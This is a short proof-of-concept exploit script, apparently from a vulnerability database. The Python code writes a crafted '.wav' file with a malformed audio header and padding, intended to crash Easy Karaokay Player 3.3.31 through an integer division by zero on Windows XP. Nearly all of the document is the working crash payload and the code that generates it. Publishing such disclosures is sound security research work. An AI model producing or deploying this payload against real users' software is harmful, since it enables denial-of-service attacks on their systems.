Easy Karaokay Player 3.3.31 – ‘.wav’ Integer Division by Zero

#!/usr/bin/python

#Title: Easy Karaokay Player 3.3.31 (.wav) Integer Division by Zero

#Version: 3.3.31 (Older Versions might be vulnerable as well)

#Tested on: Windows XP SP2 en

#Vendor: http://www.008soft.com/

#Software Link: http://www.008soft.com/downloads_karaoke.exe

#E-Mail: OsandaJayathissa@gmail.com

#Author: Osanda Malith

#Twitter: @OsandaMalith

# /!\ Author is not responsible for any damage you cause

# This POC is for educational purposes only

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"

"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"

"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"

"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"

"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

filename = "keraokayplayer.wav"

file = open(filename , "w")

file.write(string)

file.close()

#EOF

相关漏洞条目